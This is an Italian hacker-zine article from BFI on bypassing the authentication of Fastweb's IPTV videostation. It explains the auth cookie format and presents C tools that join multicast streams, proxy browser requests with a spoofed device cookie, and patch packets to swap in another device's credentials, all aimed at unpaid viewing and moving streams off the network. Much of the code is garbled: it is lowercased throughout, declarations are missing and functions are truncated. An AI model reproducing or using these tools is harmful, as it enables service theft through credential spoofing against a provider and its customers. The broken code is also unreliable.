-[ hacking ]------------------------------------------------------------------
---[ fastweb: v0rrete dirl0 a tutti (r0und 2)
-----[ the recidjvo <recidjvo@s0ftpj.org>
* 0x00 - index
* 0x00 - index
* 0x01 - intro
* 0x02 - ancora una volta. sogno e visione
* 0x04 - un po' di storia, che non fa mai male
* 0x08 - finalmente ci siamo
* 0x10 - alla fine era tutto qui
* 0x20 - dai, qualcosa in piu`!
* 0x40 - tanti formati, ma alla fine ci siamo
* 0x80 - ancora piu` terra terra
* 0xff + 0x01 - software and more..
* 0x01 - intro
beh insomma, c'e` chi se l'aspettava, chi meno; c'e` chi ci sperava, chi
invece si era completamente dimenticato di questo lavoro.
cosa dire? io non me ne ero dimenticato. io non me ne sono dimenticato. io,
non dimentico.
l'altra volta ci siamo lasciati con una promessa, ed eccomi qui, pronto per
un altro round, pronto ancora a mostrare al mondo come non si possa vivere e
pianificare il lavoro pensando che in giro tutti siano un branco di poveri
mentecatti, che non si metteranno mai a studiare quello che li circonda.
e poi da quel poco che conosco di quel mondo legato al satellite, con
l'avvento di seca2 siamo messi un po' peggio, eh? perche`, perche` in realta`
le nostre conoscenze non esistono e quindi non avendo piu` la meccanica azione
di autoaggiornamento ci sentiamo sperduti.. se invece vi siete fatti il culo
per ore e ore non potrete fare altro che sorridere e risolvere questo piccolo
problema in maniera facile e divertente :>
e se vi state chiedendo se questo e` un disclaimer, beh, lo e`.
insomma, il client altro non fa che collegarsi al server principale (una delle
poche notizie specifiche che posso darvi) http://webdvd.fastweb.tv/, e
passando questo cookie magico di autenticazione (e` univoco per ogni
videostation), viene rediretto a tutta la parte di gestione a cui
normalmente accedete tramite il vostro televisore e la videostation. e poi?
beh, il resto altro non e` che mpeg, e voglia il cielo che questo sia un
problema.
webdvd=stbsn=kr0000000000&mac=00:00:00:00:00:00&ip=0.0.0.0&hr=hr0000000000000
stbsn e hr sono due codici seriali che rilasciano associati alla videostation,
mentre mac e` l'indirizzo hardware della scheda fast ethernet della
videostation.
ip e` l'ip, ma ovviamente essendo preso via dhcp al boot, non e` soggetto a
controllo. gli altri sono una tripla registrata da qualche parte sul server di
streaming.. quando vi collegate la prima volta su http://webdvd.fastweb.tv/,
il cookie viene valutato e, a seconda dei casi, si viene reindirizzati su una
pagina di autenticazione con una strings di get, oppure sulla pagina non
abilitata alla visione.
in poche parole, se vi collegate con il vostro browser senza mandare il cookie
finite su www.fastweb.it :>
ma passando il cookie corretto e seguendo i link arrivate diretti dove volete,
e avete abilitato tutto quello che normalmente avete con quell'account.
<asx version="3">
<param name="server" value="fastweb/3.1337" />
<entry>
<ref href="http://1.2.3.4:12345/video/fastweb/unicast.mpg" />
</entry>
</asx>
<multicast_playlist>
<general_information>
<agent_ip>10.20.30.40</agent_ip>
<client_id>webdvd</client_id>
<txn_id>9877</txn_id>
<player>c:\agent\iplayer.exe</player>
<vs_type>bb</vs_type>
<composer_resolution>720 576</composer_resolution>
<start_channel>fastboystv</start_channel>
<creation_date>05-31-2002</creation_date>
<author>fastboys</author>
</general_information>
<startup_actions>
<a1>playvideo</a1>
</startup_actions>
<gold_bouquet>
<fastboystv>
<d_address>224.0.0.1</d_address>
<udp_port>12345</udp_port>
<ch_number>1</ch_number>
</fastboystv>
</gold_bouquet>
<keyboard_events>
<play>
<map_to_key>p</map_to_key>
<click_actions>
<a1>playvideo</a1>
</click_actions>
</play>
<stop>
<map_to_key>s</map_to_key>
<click_actions>
<a1>stopvideo</a1>
</click_actions>
</stop>
<pause>
<map_to_key>h</map_to_key>
<click_actions>
<a1>pausevideo</a1>
</click_actions>
</pause>
<zappingup>
<map_to_key>f</map_to_key>
<click_actions>
<a1>changechannelup</a1>
</click_actions>
</zappingup>
<zappingdown>
<map_to_key>r</map_to_key>
<click_actions>
<a1>changechanneldown</a1>
</click_actions>
</zappingdown>
</keyboard_events>
</multicast_playlist>
una volta che abbiamo questi dati, nel caso di flusso statico basta
richiederlo via http, mentre nel secondo dovremmo fare la join al gruppo
multicast specificato su quella porta specifica, e le simpatiche vlan create
sui catalyst in cantina (sempre loro, sempre lorooo :>) faranno il resto :d
da notare che lo streaming che ci arriva via multicast non e` un flusso rtp,
ma puro e semplice mpeg :d
quasi tutti sono pensati per essere eseguiti in pipe, oppure con una exec()
alla fine che e` definibile come meglio si crede: cosi` come sono non hanno
utilita` eccessiva, ma sistemati a dovere sono veramente potenti, fidatevi :d
ricordate: appunti, non programmi. leggete almeno le prime righe di ogni file,
e sistemate i define per far funzionare qualcosa. altrimenti, beh temo che
dovrete cercare un'altra fonte di divertimento (l'ho detto e lo ripeto, non
voglio assolutamente creare un esercito di video-kids!).
#define exec_uni
#define exec_multi
//#define exec_uni execl(..)
//#define exec_multi execl(..)
#ifdef fastream_debug
#define debug(x...) fprintf(stderr, x)
#else
#define debug(x...)
#endif
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void);
void unicast_asx(void);
void multicast_asx(void);
int main()
{
char buff[24];
exit(0);
}
void unicast_asx()
{
char buff[1024], *b;
while(fgets(buff, sizeof(buff), stdin) != (char *)null) {
if((b = strstr(buff, tok_uni)) != (char *)null) {
b = strtok(b + strlen(tok_uni), "\"");
debug(" (%s)\n", b);
break;
}
bzero(buff, sizeof(buff));
}
exec_uni;
return;
}
void multicast_asx()
{
char buff[1024], *b;
char multi_ip[16];
char multi_port[6];
exec_multi;
return;
}
<-x->
multokrast: yeee!!! :> er mejo della suite! quello che fa non sorprende
nessuno, ma a me ha sorpreso quanto fosse semplice giocare in multicast!
passategli i parametri giusti e vedrete, vedrete! :d
#ifdef fastream_debug
#define debug(x...) fprintf(stderr, x)
#else
#define debug(x...)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
if(argc < 3) {
debug("usage: %s <multicast_ip> <port> [scan_time]\n", argv[0]);
exit(-1);
}
if(!in_multicast(ntohl(inet_addr(argv[1])))) {
debug("usage: %s <multicast_ip> <port>\n", argv[0]);
exit(-1);
}
mr.imr_multiaddr = saddr.sin_addr;
mr.imr_interface.s_addr = htonl(inaddr_any);
if(setsockopt(sock, ipproto_ip, ip_add_membership, (void *)&mr,
sizeof(mr)) < 0) {
debug("setsockopt()\n");
exit(-1);
}
if(argc == 4) {
signal(sigalrm, scanexit);
alarm(atoi(argv[3]));
debug("scanning mode: %s %s for %d seconds. ", argv[1],
argv[2], atoi(argv[3]));
}
while(1) {
if((dlen = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr
*)&saddr, &slen)) <= 0) {
debug("recvfrom()\n");
exit(-1);
}
debug("\b\b\b\bdata");
write(stdout_fileno, buf, dlen);
}
debug("\n");
exit(0);
}
mmm: questo miniframmento di codice implementa una sorta di rozzo proxy http
che modifica le richieste del browser per farlo apparire piu` simile alla
videostation (con l'aggiunta statica ai cookies dell'autenticazione. nel
caso venga richiesto un url multicast, puo` lanciare direttamente multokrast
(o chi per esso) con l'iniezione degli header http in modo da trasformare il
flusso mpeg in unicast http (molto utile per fare uscire il flusso mpeg dalla
rete fastweb trasformando da udp a tcp il metodo di trasmissione, unica
avvertenza, ricordate che quasi tutti i filmati in multicast sono da
4megabit/s).
#define videostation_authcode
"webdvd=stbsn=kr0000000000&mac=00:00:00:00:00:00&ip=0.0.0.0&hr=hr0000000000000"
#define multi_headers_file "/usr/local/etc/multicast"
#define exec_multi execl("/usr/local/bin/multokrast", "multokrast", host, cport,
null)
#ifdef fastream_debug
#define debug(x...) fprintf(stderr, x)
#else
#define debug(x...)
#endif
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void);
void multicast_headers(void);
int resolv4(char *hostname, struct sockaddr_in *saddr);
int main()
{
char firstline[1024], newline[1024], *host = (char *)null, *path = (char
*)null, cport[6];
short unsigned int port;
int sock;
struct sockaddr_in saddr;
saddr.sin_family = af_inet;
saddr.sin_port = htons(port);
if(resolv4(host, &saddr)) {
debug("unable to resolve %s\n", host);
exit(-1);
}
if(in_multicast(ntohl(saddr.sin_addr.s_addr))) {
debug("multicast proxy request detected.\n");
multicast_headers();
sleep(1);
snprintf(cport, sizeof(cport), "%d", port);
exec_multi;
exit(0);
}
port = 1;
while(fgets(firstline, sizeof(firstline), stdin) != (char *)null) {
if(!strncasecmp(firstline, header_agent, header_agent_keylen)) {
strncpy(firstline, header_agent, sizeof(firstline));
} else if(!strncasecmp(firstline, header_keepalive,
strlen(header_keepalive))) {
continue;
} else if(!strncasecmp(firstline, header_cookie,
header_cookie_keylen)) {
send(sock, header_cookie, strlen(header_cookie), 0);
send(sock, ";", strlen(";"), 0);
send(sock, strstr(firstline, " "),
strlen(strstr(firstline, " ")), 0);
port = 0;
continue;
}
if(!strcmp(firstline, "\r\n")) {
if(port) {
send(sock, header_cookie, strlen(header_cookie),
0);
send(sock, "\n", strlen("\n"), 0);
}
close(sock);
exit(0);
}
void multicast_headers()
{
file *headers = (file *)null;
char headerline[1024];
fclose(headers);
fprintf(stdout, "\n");
fflush(stdout);
return;
/* eof */
giusto un paio di note tecniche: per quanto riguarda la versione delle libnet,
bisogna usare la 1.0.2a in quanto le versioni precedenti e successive
presentano modifiche strutturali molto evidenti, e non permettono di eseguire
alcune operazioni ritenute oltremodo importanti.
+#define runpatch 0
+#define tok1 "webdvd=stbsn="
+#define tok2 "&mac="
+#define tok3 "&ip="
+#define tok4 "&hr="
+#define len1 0x0c
+#define len2 0x11
+#define len4 0x0f
+
#include <pcap.h>
#include <libnet.h>
#include <pthread.h>
@@ -58,7 +78,8 @@
struct ether_addr *ext_hw_addr = (struct ether_addr *)null;
struct interface internal, external;
char debug = debug;
-
+char runpatch = runpatch;
+unsigned char *video_hw_addr = (unsigned char *)null;
extern char pcap_version[];
@@ -86,6 +107,8 @@
initialize(&internal);
initialize(&external);
@@ -107,7 +130,7 @@
char optc;
@@ -203,13 +243,16 @@
-/******************************************************************************/
+unsigned char *replace(unsigned char *buf, int len)
+{
+ int i;
+ char status = 0;
+
+ if(len < strlen(tok1) + len1 + strlen(tok2) + len2 + strlen(tok3) +
strlen(tok4) + len4) {
+ return(null);
+ }
+
+ for(i = 0; i <= len - strlen(tok1) + len1 + strlen(tok2) + len2 +
strlen(tok3) + strlen(tok4) + len4; i++) {
+ if(memcmp(buf + i, tok1, strlen(tok1))) {
+ continue;
+ }
+ if(memcmp(buf + i + strlen(tok1) + len1, tok2, strlen(tok2))) {
+ continue;
+ }
+ if(memcmp(buf + i + strlen(tok1) + len1 + strlen(tok2) + len2,
tok3, strlen(tok3))) {
+ continue;
+ }
+
+ memcpy(buf + i + strlen(tok1), code1, len1);
+ memcpy(buf + i + strlen(tok1) + len1 + strlen(tok2), code2,
len2);
+ status = 1;
+
+ i += strlen(tok1) + len1 + strlen(tok2) + len2 + strlen(tok3);
+ while(memcmp(buf + i++, tok4, strlen(tok4))) {
+ if(i > len - len4) {
+ return(null);
+ }
+ }
+ memcpy(buf + i + strlen(tok4) - 1, code4, len4);
+ }
+
+ return(status ? buf : null);
+}
<-x->
--
t.r.
-[ web ]----------------------------------------------------------------------
http://www.bfi.cx
http://www.s0ftpj.org/bfi/
http://bfi.itapac.net
-[ e-mail ]-------------------------------------------------------------------
bfi@s0ftpj.org
-[ pgp ]----------------------------------------------------------------------
==============================================================================
-----------------------------------[ eof ]------------------------------------
==============================================================================